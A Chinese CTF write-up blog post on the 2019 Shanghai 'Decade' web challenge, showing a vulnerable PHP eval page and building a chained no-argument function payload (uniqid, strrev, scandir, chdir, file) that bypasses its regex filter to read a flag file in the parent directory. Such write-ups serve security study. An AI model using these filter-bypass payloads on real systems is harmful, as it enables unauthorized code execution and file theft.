[原题复现]2019上海大学生WEB-Decade(无参数RCE、Fuzz)

 简介

 原题复现:

 考察知识点:无参数命令执行、Fuzz

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 

 环境复现

代码
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
        if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
            if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        else {
            echo "No way!!!";
        }
}else {
        echo "No way!!!";
    }
flag在上层目录的index.php中
 

 审计分析

看看正则过滤
可以通过https://regex101.com/%60 测试正则  验证正则不限制什么 
 
这块过滤了很多的php函数 可以采用下面方法来获得没被过滤的php内置函数
 
 获取PHP内置函数脚本  
<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {
echo fputs($file,$key."\r\n");
}
fclose($file);
?>
查找能使用的函数脚本
import re
f = open('function.txt','r')
for i in f:
    function = re.findall(r'/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/',i)
    if function == [] and not '_' in i:
        print(i)
 

 方法一:条件竞争

构造payload
这道题flag在上层的目录下的index.php  所谓得跳到上层目录读取index.php  所以我们得先构造如何调到上册目录的payload 也就是scandir('..')  如何构造呢?可以使用uniqid()函数 它能够生成动态字符串,他的牵绊部分是固定的,后半部分是动态变化的 我们可以使用strrev()函数反转一下字符串  然后就可以使用插入函数动态的构造任意字符 不过它只能生成一个. 再加上scandir()函数就可以返回当前目录下的文件 如何让他里面有两个..呢?
scandir(strrev(uniqid()));
可以在linux特性中我们查看当前文件他会返回 .  .. 文件A  所以我们要用next指定下一个也就是  ..可以构造后我们也就可以构造返回到上册目录了 
scandir(next(scandir(strrev(uniqid())))));
如何将上册目录输出在页面 因为scandir()返回的是目录的数组,本来使用var_dump输出但是被过滤了 用echo输出不了 这时可以使用implode将数组元素组成为字符串用echo输出这样构造的payload
echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));
使用Null payloads进行读取
现在想办法读取index
readfile被过滤了。。。
if 也不行
可以使用file来读取 用end获取scandir返回的最后一个元素也就是index.php
我们先使用chdir跳转到上一层目录
payload
chdir(next(scandir(chr(strrev(uniqid())))));
然后使用file函数读取文件 用end取得最后一个元素然后用file读取
file(end(scandir(chr(strrev(uniqid())))))
结合起来最终payload
echo(implode(file(end(scandir(chr(strrev(uniqid(chdir(next(scandir(chr(strrev(uniqid())))))))))))));
这个payload缺陷就是 要两边都为. 才行 null payload 运气不好近9万次才得到。。。。
 
用到的php函数(部分)
uniqid() 生成唯一一个ID
strrev() — 反转字符串
implode(separator,array)-把数组元素组成为字符串
    separator-可选。规定数组元素之间放置的内容 默认""
    array-必须,需要组合为字符串的数组
next()-函数将内部指针指向数组中的下一个元素,并输出。
chr() 函数从指定的 ASCII 值返回字符。
file() 函数把整个文件读入一个数组中。
end — 将数组的内部指针指向最后一个单元
chdir() — 改变目录

 参考学习引用:https://xz.aliyun.com/t/6737

 方法二:利用三角函数来计算

https://blog.csdn.net/qq_40884727/article/details/102924492  

http://blog.sina.com.cn/s/blog_a661ecd501012xsr.html

 

posted @ 2020-05-16 11:00  笑花大王  阅读(450)  评论(0编辑  收藏  举报